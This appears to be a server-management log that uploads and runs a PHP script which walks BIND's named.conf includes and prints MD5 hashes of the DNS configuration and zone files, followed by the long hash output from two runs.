MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:49:36: Establishing a connection
2026-04-30 16:49:37: 

PUT: /tmp/pkp407873

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:49:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp407873; rm /tmp/pkp407873'

2026-04-30 16:49:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:49:47: Establishing a connection
2026-04-30 16:49:47: 

PUT: /tmp/pkp105307

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:49:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp105307; rm /tmp/pkp105307'

2026-04-30 16:49:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
